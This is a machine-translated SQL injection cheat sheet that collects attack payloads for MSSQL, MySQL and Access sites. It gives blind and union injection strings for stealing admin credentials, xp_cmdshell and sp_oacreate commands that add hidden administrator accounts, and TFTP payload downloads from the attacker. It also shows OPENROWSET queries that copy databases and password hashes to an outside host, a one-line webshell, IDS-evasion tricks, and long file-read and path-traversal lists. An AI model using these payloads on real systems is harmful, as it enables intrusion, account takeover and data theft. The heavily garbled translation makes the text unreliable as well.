MSSQL-запросы к кросс-базе данных (вонючая еда!) Dark)
Выжмите каждую каплю MS SQL
Ссылки на SQL-операторы и объекты набора записей подробно объясняются
О хранящихся процедурах в SQL Server
Создайте вебшелл с помощью mssql-резервного копирования
SQL_Injection продвинутые приложения
Кросс-сайт SQL injection (laokai)
Странная SQL-инъекция (AMANL)
Продвинутая инъекция SQL в приложениях SQL Server
Как использовать SQL-инъекции для прохождения каталогов
Прохождение по техникам инъекции SQL (Переводчик: demonalex)
Некоторые атаки на базы данных SQL
Техника атаки с помощью SQL-инъекций (JSW)
SQL_Injection Продвинутые приложения (APACHY)
Редкие методы инъекции SQL (Guilin Veteran)
Резервная копия корпуса
Поговорим о структуре оператора инъекции php+mysql (Heyhehehehe·≯Super· Привет)
Продвинутая SQL-инъекция с помощью MySQL(angel)
L'injection (My)SQL через PHP
Oracle SQL Language
Энциклопедия ручной инъекции SQL
Требования требуют инструментов: SQL Query Analyzer и SqlExec Sunx Version ============================================================================================== 1. Определить, есть ли точка инъекции ; и 1=1 и 1=2 2. Похоже, название таблицы — это не что иное, как пароль администратора, администратора, пользователя, пропуска и т.д.: и 0<>(выберите count(*) из *) и 0<>(выберите count(*) из admin) — Определить, существует ли админ-таблица 3. Угадайте количество счетов. Если вы столкнётесь с 0< вернитесь на правильную страницу 1< верните страницу ошибки, чтобы указать, что количество аккаунтов равно 1 и 0<(выберите count(*) из admin) и 1<(выбрать count(*) из admin) 4. Угадайте название поля Добавьте имя поля, которое мы думаем в скобках len( ). и 1=(выберите count(*) из admin, где len(*)>0)– и 1=(выбрать count(*) из admin, где len(имя поля пользователя)>0) и 1=(выберите count(*) из admin, где len(_blank>имя поля пароля)>0) 5. Угадайте длину каждого поля Угадайте длину для преобразования >0 до возвращения правильной страницы и 1=(выбрать count(*) из admin, где len(*)>0) и 1=(выбрать count(*) из admin, где ошибка len(name)>6) и 1=(выберите count(*) из admin, где len(name)>5) Правильная длина — 6 и 1=(выбрать count(*) из admin, где len(name)=6) верен и 1=(выбрать count(*) из admin, где len(password)>11) верен и 1=(выбрать count(*) из admin, где длина ошибки len(password)>12) равна 12 и 1=(выбрать count(*) из admin, где len(password)=12) верен 6. Угадайте персонажей и 1=(выберите count(*) из admin, где left(name,1)=a) — угадайте первую цифру учетной записи пользователя и 1=(выбрать count(*) из admin, где left(name,2)=ab) — угадайте вторую цифру учетной записи пользователя Просто добавляйте по одному символу, чтобы угадывать, угадайте столько цифр, сколько вы только что угадали, и номер аккаунта появится (1) Угадайте название стола
Используемые предложения: и существует (выбрать * из названия таблицы)
Например: и существует (выбрать * из admin)
Если страница отражает правильное эхо, это значит, что название таблицы, которое мы здесь угадали, правильно, а если страница ошибочна, то это значит, что название таблицы, которое мы здесь написали, неверно
, затем измените название таблицы и продолжайте угадывать, пока не угадаете.
Обычно часто используемые имена таблиц включают admin, manage, user или put it in tool run (2) Угадайте поле
Используемые предложения: и существует (выберите имя поля из имени таблицы)
Например: и существует (выберите имя пользователя из admin)
Здесь, если таблица администратора — это та, которую я правильно угадал выше, я хочу определить, существует ли поле имени пользователя, мне нужно использовать этот оператор, если страница
Если эхо лиц верно, это значит, что название поля, которое мы здесь угадали, правильно, а если страница ошибочна, то название поля, которое мы здесь записали, неверно
, затем измените название поля и продолжайте угадывать, пока не угадаете.
Обычно распространённые имена полей включают имя пользователя, пароль, пользователь, пропуск, имя, пропуск, инвалидность, usr, psd и другие поля (3) порядок по
Order by — это сумма всех полей на этой странице, готовящаяся к следующему совместному запросу (4) Профсоюзный выбор
1. Если вы поддерживаете совместный запрос, найдите бит отображения http://www.xxx.com/product_show.asp?id=1 и выберите объединение 1=2
1,2,3,4,5,6,7,8,9,10,11 Предположим, что биты дисплея равны 5,6. Далее нужно заменить имена полей, соответствующие логину и паролю администратора, на позицию бита отображения здесь
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 от admin нашёл фоновый логин 2. Если совместный запрос не поддерживается Имя пользователя и пароль администратора невозможно получить без совместного запроса — с помощью дословного декодирования Ascii Два Используйте order by для оценки количества битов в таблице, и если не работает, используйте объединённый выбор, чтобы упорядочить их по одному, здесь мы предполагаем, что это 8 бит Три Используйте совместный запрос для определения битов отображения Четыре Используйте бит отображения, чтобы найти имя базы данных, версию базы данных, можно ввести 5.0 или выше
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, version()),8 Пять С именем базы данных можно начать получать схему названия таблицы =, затем значение HEX имени базы данных и угадывать название таблицы
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +из+information_schema.столбцов+где+ table_schema=0x666C6965725F6462617365 Шесть Имя анализируемой таблицы определяет HEX-значение таблицы администратора name=table name и угадает поля в таблице http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(РАЗБОРЧИВО
+column_name),8+ с+information_schema.столбцов+где+table_name=0x7075625F7765626D6173746572 Семь После того как поля появится в таблице администратора, давайте узнаем их содержимое http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(РАЗБОРЧИВО
+имя пользователя, 0x5f,userpwd),8+from+pub_webmaster Восемь Инструмент сканирует фон: войдите в систему, чтобы загрузить троян после его обнаружения, и если не можете найти robots.txt файл, доступны Девять Если вы не сможете найти фон, пароль администратора MYSQL будет раскрыт http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(пользователь,пароль),8+from+mysql.user Десять Случайно получите доступ к пути, и обратная связь — страница 404 по умолчанию в IIS6, что указывает на то, что сервер сайта: Windows+IIS6+php+MySQL среда c:\\windows\\system32\\inetsrv\\MetaBase.xml Этот путь позволяет получить информацию о конфигурации сайта. Постройте высказывания http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Одиннадцать Проанализируйте код и найдите фоновый адрес На первом этапе нужно получить длину полей в таблице Используемые утверждения: и (выберите топ-1 len (название поля) из названия таблицы)>0 Как что: и (выбрать топ-1 LEN(admin_name) из admin)>0 Страница отображается нормально, длина поля admin_name больше 0, и я пришлю:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 На странице отображается ошибка, указывающая, что поле находится от 0 до 10, а длина — 5 по дихотомии Используя тот же метод для определения длины поля для пароля администратора, я получаю длину 16 Шаг 2 Теперь перейдём ко второму этапу: возьмём определённый символ в поле и получим ASCII-код этого символа, который используется
Заявление: и (выберите топ-1 ASC (полуполе (имя поля, N,1)) из названия таблицы)>0 Позвольте рассмотреть это предложение отдельно, сначала внутреннюю функцию mid(имя пользователя, 1,1), которая является первым символом поля admin_name N
указывает, что первые несколько символов должны быть перехвачены, Затем внешняя функция asc(), которая преобразует символы, перехваченные промежуточной функцией, в ASCII-код — самый внешний верхний 1 — представляет собой поле возврата первого места
Значит, рекорд, «>0» в конце — это сравнение конвертированного ASCII-кода с этим числом и, наконец, получение перехвата, постоянно меняя последнее значение
Узнайте конкретную характеристику этого персонажа ASCII-код Публикация:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Страница отображается нормально, что означает, что ASCII-код этого символа превышает 30. Публикация:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Страница отображается нормально, что означает, что ASCII-код этого символа превышает 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 ASCII-код, который я получил для этого персонажа, — 97 Сравните таблицу ASCII: Можно сделать вывод, что первый символ — это «a». Затем я оценю ASCII-код второго символа.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Страница отображается нормально, что означает, что ASCII-код символа превышает 90, и последнее значение всегда меняется Тот же метод дал пароль администратора, и результат был таким:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 и 1=(выберите топ-1 count(*) из Admin, где Asc(mid(pass,5,1))=51) – Этот запрос может угадать китайского пользователя и _blank> пароль. Просто замените следующие номера на китайский код ASSIC
Конвертировать в персонажей.
группа по users.id имеет 1=1–www.myhack58.com группа по users.id, user.username, users.password, users.privs с 1=1– ; Вставьте значения пользователя (666, атакующий, foobar 0xffff)–
UNION Select TOP 1 COLUMN_blank>_NAME ИЗ INFORMATION_blank>_SCHEMA. КОЛОНКИ Где
TABLE_blank>_NAME=logintable- UNION Select TOP 1 COLUMN_blank>_NAME ИЗ INFORMATION_blank>_SCHEMA. КОЛОНКИ Где
TABLE_blank>_NAME=logintable Где COLUMN_blank>_NAME NOT IN (login_blank>_id)- UNION Select TOP 1 COLUMN_blank>_NAME ИЗ INFORMATION_blank>_SCHEMA. КОЛОНКИ Где
TABLE_blank>_NAME=logintable Где COLUMN_blank>_NAME NOT IN
(login_blank>_id,login_blank>_name)- UNION Выберите TOP 1 login_blank>_name FROM logintable- UNION Выбрать ТОП 1 пароль ИЗ таблицы входа, где login_blank>_name=Рахул– Посмотрите патч, который играет сервер _blank> = неправильный патч SP4, чёрная полоса безопасности и 1=(выберите @@VERSION)–
Посмотрите разрешения учетной записи _blank> базы данных, и она возвращает нормальное состояние, доказывая, что это разрешение системного администратора роли _blank> сервера. и 1=(Выберите IS_blank>_SRVROLEMEMBER(системный администратор))–
Определите, что аккаунт базы данных _blank> связан. (Использовать аккаунт SA для подключения и вернуть нормальный = доказать, что подключённый аккаунт — это SA) и sa=(Select System_blank>_user)– и user_blank>_name()=dbo– и 0<>(выберите user_blank>_name()–
Посмотрите, удаляет ли xp_blank>_cmdshell и 1=(Выберите count(*) ИЗ master.dbo.sysobjects, где xtype = X И имя = xp_blank>_cmdshell)
–
xp_blank>_cmdshell удаляется, восстанавливается и поддерживает абсолютное восстановление пути ; ИСПОЛНИТЕЛЬНЫЙ master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== разрешение базы данных открывается в физическом путевном коде сайта
========================================================================== 1、таблица дропа [jm_tmp]; Создать таблицу [jm_tmp](значение navrchar(4000) null,данные nvarchar(4000)
null) -- Создать таблицу
2、 удалить [jm_tmp]; Вставьте [jm_tmp] исполнительный master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Вставьте каталог сайта в поле таблицы
3、и (выбрать топ-1 кастинг([данные] как nvarchar(4000) персонаж(124) из [jm_tmp] по [data]
desc)=0 '//Открытое поле
4. Выбросить таблицу [jm_tmp] — удалить эту таблицу. Командование, чтобы получить снаряд
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Другие маршруты станций ======================load_file() Часто используемая конфиденциальная информация =========================================== 1、 замена(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,115,119,100)),char(60),char(32)) Два вышеуказанных варианта предназначены для просмотра PHP-файла, который полностью отображает код. Иногда некоторые символы не заменяются, например, возвращается «<» вместо «пробел»
Веб-страница. И код нельзя просмотреть.
3. load_file(char(47)) может указать корневую директорию систем FreeBSD и Sunos
4. Просмотр конфигурационного файла виртуального хоста Linux APACHE в /etc/httpd/conf/httpd.conf или /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf или C:\apache\conf\httpd.conf для просмотра WINDOWS
System Apache File
6. c:/Resin-3.0.14/conf/resin.conf Просмотрите информацию о конфигурации смоляных файлов на сайте, разработанном jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf для просмотра виртуального хоста JSP, настроенного на Linux
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin взрывной путь
11. C:\Windows\system32\inetsrv\MetaBase.xml Просмотр файла конфигурации виртуального хоста IIS
12. /usr/local/resin-3.0.22/conf/resin.conf для просмотра конфигурационного файла RESIN для версии 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf То же самое, что и выше
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf Виртуальный хост APASHE
15. /etc/sysconfig/iptables зависит от политики файрвола
16. /usr/local/app/php5 b/php.ini PHP-эквивалентные настройки
17. /etc/my.cnf конфигурационный файл MYSQL
18. /etc/redhat-версия системы Red Hat
19 、C:\mysql\data\mysql\user. MYD существует в пользовательском пароле системы MYSQL
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 для просмотра IP.
21. /usr/local/app/php5 b/php.ini //PHP, связанные настройки
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // настройки виртуального сайта
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue отображает информацию о распределении ядра Linux
26、/etc/ftpuser
27. Проверьте операционный журнал под LINUX user.bash_history или .bash_profile
28、/и т.д./ссх/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Экспериментируйте с обратным PING самостоятельно. ; используйте мастера; объявить @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; Исполнительный
sp_blank>_oamethod @s,"run", NULL,"cmd.exe /c ping 192.168.0.1"; –
Добавить аккаунт ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Создайте виртуальный каталог E-disk: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Атрибуты доступа: (с записью в веб-шелл) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Специальный _blank> для burst библиотеки: :%5c=\ или измените %5 с помощью / и \ для коммита и 0<>(выберите топ-1 путь из newtable)–
Получите название базы данных (от 1 до 5 — это идентификаторы системы, и вы можете оценивать их выше 6) и 1=(выберите имя из master.dbo.sysdatabases, где dbid=7)– и 0<>(выберите count(*) из master.dbo.sysdatabases, где name>1 и dbid=6) Отправить dbid по очереди = 7,8,9.... Узнайте больше _blank> названия баз данных
и 0<>(выберите имя верхнего 1 из bbs.dbo.sysobjects, где xtype=U) вводятся в таблицу с предположением администратора и 0<>(выберите имя верхнего 1 из bbs.dbo.sysobjects, где xtype=вы и имя не входит в (Admin)).
Другие столы. и 0<>(выберите count(*) из bbs.dbo.sysobjects, где xtype=вы и name=admin и uid>(str(id))) Численное значение UID предполагается как 18779569 uid=id и 0<>(выберите топ-1 имя из bbs.dbo.syscolumns, где id=18779569) получают поле admin, false
Поставьте на user_blank>_id и 0<>(выберите имя верхнего 1 из столбцов bbs.dbo.sys, где id=18779569 и имя не входит (id,...)) чтобы экспонировать другие поля и 0<(выберите user_blank>_id на сайте BBS.dbo.admin, где имя пользователя>1) для получения имени пользователя В свою очередь, вы можете получить _blank> пароль。。。。。 Предположим, что есть поля, такие как user_blank>_id имя пользователя, пароль и т.д.
и 0<>(выберите count(*) из master.dbo.sysdatabases, где name>1 и dbid=6) и 0<>(выберите имя верхнего 1 из bbs.dbo.sysobjects, где xtype=U) для получения названия таблицы и 0<>(выберите имя верхнего 1 из bbs.dbo.sysobjects, где xtype=вы и name not in(Address)) и 0<>(выберите count(*) из bbs.dbo.sysobjects, где xtype=you и name=admin и uid>(str(id)))
Определите значение id и 0<>(выберите имя топ-1 из BBS.dbo.syscolumns, где id=773577794) — все поля
?id=-1 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,* от admin ?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 от admin (union,access тоже прост в использовании)
Получите путь WEB ; Создать таблицу [dbo]. [обмен] ([swappass][char](255)); – и (выберите топ-1 swappass из swap)=1– ; Создать ТАБЛИЦУ newtable(id int IDENTITY(1,1),paths varchar(500)) Объявить @test varchar(20) exec
Мастер... xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=СИСТЕМА
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, значения=@test
OUTPUT вставить значения в paths(paths) (@test)– ; Используйте ku1; – ; создать таблицу CMD (изображение STR); – Создать CMD таблицы типа изображения 1. Способ удалить процесс расширения xp_cmdshell — использовать следующее утверждение:
если существует (выберите * из dbo.sysobjects, где id=object_id(N'[dbo].[ xpcmdshell]') и
OBJECTPROPERTY(id,N'IsExtendedProc')=1) исполнительный sp_dropextendedproc N'[DBO]. [xp_cmdshell]'
2. Способ добавить процесс xp_cmdshell расширения — использовать следующее утверждение:
(1) Анализатор SQL-запросов
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Сначала заполните % в опции Формат SqlExec Sunx Version и введите их в опцию CMD
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
Удалить
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell','xplog70.dll' Существует xp_blank>_cmdshell процессов тестирования: ; Исполнительный мастер... xp_blank>_cmdshell директор ; Исполнительный master.dbo.sp_blank>_addlogin Цзяоняна$; – Добавить SQL-аккаунты ; исполнительный master.dbo.sp_blank>_password null, jiaoniang$,1866574; – ; исполнительный master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; – ; exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; – Исполнительный мастер... xp_blank>_servicecontrol начать, расписание начала _blank> службы Исполнительный мастер... xp_blank>_servicecontrol старт, сервер ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Исполнительный мастер... xp_blank>_cmdshell tftp - i youip get file.exe – Загрузка файлов с помощью TFTP
; Declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir C:\ ; Declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir C:\ ; объявить @a; множество @a=db_blank>_name(); Резервное копирование базы данных @a в disk=ваш IP Ваша общая директория bak.dat Если ограничены — да. выберите * из openrowset(_blank>sqloledb,server; sa; ,выберите ОК! Исполнительный
master.dbo.sp_blank>_addlogin Хакс)
Структура запроса: Выберите * ИЗ новостей Где id=... И тема=... И ..... adminand 1=(выберите count(*) из [user], где username=victim и right(left(userpass,01),1)=1)
и userpass <> выберите 123; – ; используйте мастера; – :a или имя вроде fff%; – Показывает пользователя с именем ffff. и 1<>(выбрать count(email) от [пользователя]); – ; Обновление [пользователей] Set email=(выберите имя верхнего 1 из sysobjects, где xtype=вы и статус>0), где
name=ffff; – ; Обновить [пользователи] Установить email=(выбрать идентификатор топ-1 из sysobjects, где xtype=вы и name=ad) где
name=ffff; – ; Обновить [пользователи] Set email=(выберите имя верхнего 1 из sysobjects, где xtype=вы и id>581577110)
где name=ffff; – ; Обновить [users] Set email=(выберите Top 1 count(ID) из пароля), где name=FFFF; – ; Обновить [пользователи] Установить email=(выберите топ-1 PWD из пароля, где id=2), где name=ffff; – ; Обновить [пользователей] Установить email=(выберите имя верхнего 1 из пароля, где id=2), где name=ffff; – Вышеуказанное утверждение — получить первую пользовательскую таблицу в базе данных _blank> и ввести имя таблицы в поле электронной почты пользователя ffff. Просмотрев профиль пользователя ffff, можно получить первую таблицу под названием AD Затем получите ID этой таблицы согласно рекламе названия таблицы, чтобы получить название второй таблицы
Вставьте значения пользователей (666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– Вставить значения пользователей(667,123,123,0xffff)– Вставьте в пользовательские значения (123, admin–, password, 0xffff)– ; и пользователь>0 ; и (выбрать count(*) из sysobjects)>0 ; и (выбрать count(*) из mysysobjects)>0 // для базы данных access_blank>
Перечислите название таблицы данных ; Обновить AAA-сет AAA=(выберите имя топ-1 из sysobjects, где xtype=вы и статус>0); – Здесь название первой таблицы обновляется в поле AAA. Прочитайте первую таблицу, и вторую можно читать вот так (добавить и назвать по состоянию<> назвать только что полученную таблицу). ; Обновление AAA, установка AAA=(выберите имя верхнего 1 из sysobjects, где xtype=вы и статус>0 и
имя<>голос); – Тогда id=1552 и существует (выберите * из aaa, где aaa>5) Читайте вторую таблицу и читайте её по одному, пока не останется ни одной таблицы. Поле чтения выглядит так: ; обновить набор AAA=(выбрать топ-1 col_blank>_name(object_blank>_id(название таблицы),1)); – Тогда id=152 и exists(выберите * из aaa, где aaa>5) получает ошибку и получает имя поля ; обновить AAA набор aaa=(выбрать топ-1 col_blank>_name(object_blank>_id(название таблицы),2)); – Тогда id=152 и exists(выберите * из aaa, где aaa>5) получает ошибку и получает имя поля
[Получить название таблицы данных] [Обновите значение поля до имени таблицы, а затем прочитайте значение этого поля, чтобы получить имя таблицы] Поле набора имён таблицы обновлений=(выберите имя верхнего 1 из системных объектов, где xtype=вы и статус>0 [ и имя<>
Имя таблицы, которое вы получаете, Find one plus one]) [ где condition] выберите имя топ-1 из sysobjects, где xtype=вы и
статус>0 и имя отсутствует в (таблица 1, таблица 2,...) Создание учетной записи администратора базы данных и учетной записи системного администратора _blank> _blank> внедрение уязвимостей через SQLSERVER [Текущая учётная запись должна быть группой SYSADMIN]
[Получить имя поля таблицы данных] [Обновить значение поля до имени поля, а затем прочитать значение этого поля, чтобы получить имя] Update table name set field=(выберите верхнюю 1 col_blank>_name(object_blank>_id (название таблицы данных для запроса), столбец поля
Например: 1) [ где условие]
Обход обнаружения IDS [с использованием переменных] ; Declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir C:\ ; Declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir C:\
1. Открыть базу данных удалённых _blank> Базовый синтаксис выбрать * из OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, выберите * из таблицы1 ) Параметры: (1) Имя провайдера OLEDB 2. Параметр строки соединения может быть любым портом для подключения, например выбрать * из OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Сеть=DBMSSOCN; Адрес=192.168.0.1,1433; ,
выбрать * из таблицы 3. Скопируйте всю базу данных _blank> целевой хоста и вставьте все удалённые таблицы в локальную таблицу.
Базовый синтаксис: вставить в OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, выберите * из таблицы1) выберите
* из таблицы 2 Этот строчный оператор копирует все данные из таблицы таблицы 2 на целевом хосте в таблицу таблицы 1 в удалённой базе данных _blank>. Соответствующие ремонты в практическом применении
Измените IP-адрес и порт строки подключения, чтобы указать нужное место, например: вставить в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Сеть=DBMSSOCN; Адрес=192.168.0.1,1433; ,select
* из таблицы1) выбрать * из таблицы2 вставить в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Сеть=DBMSSOCN; Адрес=192.168.0.1,1433; ,select
* из _blank>_sysdatabases) Выберите * из master.dbo.sysdatabases вставить в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Сеть=DBMSSOCN; Адрес=192.168.0.1,1433; ,select
* из _blank>_sysobjects) выберите * из user_blank>_database.dbo.sysobjects вставить в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Сеть=DBMSSOCN; Адрес=192.168.0.1,1433; ,select
* из _blank>_syscolumns) выберите * из user_blank>_database.dbo.syscolumns Воспроизвести _blank> базу данных: вставить в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Сеть=DBMSSOCN; Адрес=192.168.0.1,1433; ,select
* из таблицы1) выбрать * из базы данных.. Таблица1 вставить в OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Сеть=DBMSSOCN; Адрес=192.168.0.1,1433; ,select
* из таблицы2) выбрать * из базы данных.. Таблица2
Хэш пароля, копирующего хэш-таблицу (HASH) для входа _blank> пароля, хранится в sysxlogins. Вот как: вставить в OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Сеть=DBMSSOCN; Адрес=192.168.0.1,1433; ,выберите * из _blank>_sysxlogins)
выберите * из database.dbo.sysxlogins Когда получишь хэш, можно перебрать его силой.
Чтобы пройти по каталогу: Сначала создайте временную таблицу: temp ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; вставьте временный исполнительный master.dbo.xp_blank>_availablemedia; – Получить все текущие диски ; вставить в temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Получить список подкаталогов ; вставить в temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Получить структуру дерева каталогов для всех подкаталогов,
Объедините дюймы с температурной таблицей ; Вставьте в temp(id) exec master.dbo.xp_blank>_cmdshell введите C:\web\index.asp; – Просмотр файла
Содержание ; вставить в temp(id) exec master.dbo.xp_blank>_cmdshell директора C:\; – ; Вставить в temp(id) exec master.dbo.xp_blank>_cmdshell директора C:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; вставить в temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Применимые полномочия
